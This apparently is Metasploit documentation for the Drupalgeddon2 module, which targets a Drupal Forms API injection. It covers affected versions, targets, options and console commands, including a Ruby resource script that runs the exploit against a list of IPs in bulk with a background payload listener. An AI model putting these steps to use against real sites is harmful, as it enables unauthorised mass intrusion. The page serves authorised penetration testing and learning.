Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using drupal_drupalgeddon2 against a single host
Normally, you can use exploit/unix/webapp/drupal_drupalgeddon2 this way:
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(drupal_drupalgeddon2) > show targets
... a list of targets ...
msf exploit(drupal_drupalgeddon2) > set TARGET target-id
msf exploit(drupal_drupalgeddon2) > show options
... show and set options ...
msf exploit(drupal_drupalgeddon2) > exploit
Using drupal_drupalgeddon2 against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your drupal_drupalgeddon2 will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/drupal_drupalgeddon2")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base
Introduction
This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
Setup
Use the provided Docker images here: https://hub.docker.com/_/drupal/.
Alternatively, you may use TurnKey Linux's distributions:
Drupal 7.54: http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal7-14.2-jessie-amd64.iso Drupal 8.3.1: http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal8-14.2-jessie-amd64.iso
Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey.
Targets
Id Name
-- ----
0 Automatic (PHP In-Memory)
1 Automatic (PHP Dropper)
2 Automatic (Unix In-Memory)
3 Automatic (Linux Dropper)
4 Drupal 7.x (PHP In-Memory)
5 Drupal 7.x (PHP Dropper)
6 Drupal 7.x (Unix In-Memory)
7 Drupal 7.x (Linux Dropper)
8 Drupal 8.x (PHP In-Memory)
9 Drupal 8.x (PHP Dropper)
10 Drupal 8.x (Unix In-Memory)
11 Drupal 8.x (Linux Dropper)
Automatic targeting means the Drupal version will be detected first. Targets with a specific version will do as they're told (regardless of what the server is running).
Dropper targets write to disk. In-memory targets don't. Be mindful of showing up in someone's process list, though. A dropper might be more viable in that regard.
Options
TARGETURI
Set this to the remote path of the vulnerable Drupal install. Defaults
to / for the web root.
PHP_FUNC
Set this to the PHP function you'd like to execute. Defaults to
passthru.
DUMP_OUTPUT
Enable this if you'd like to see HTTP responses, including command
output. Defaults to false unless cmd/unix/generic is your payload.
VERBOSE
Enable this to show what function and command were executed. Defaults to
false due to the sometimes excessive output.
ForceExploit
Enable this to force exploitation regardless of the check result.
Defaults to false, meaning the check result is respected.
WritableDir
Set this to a writable directory without noexec for binary payloads.
Defaults to /tmp, but other options may include /var/tmp and
/dev/shm.
Usage
Drupal 7.57 from the Docker image is tested below.
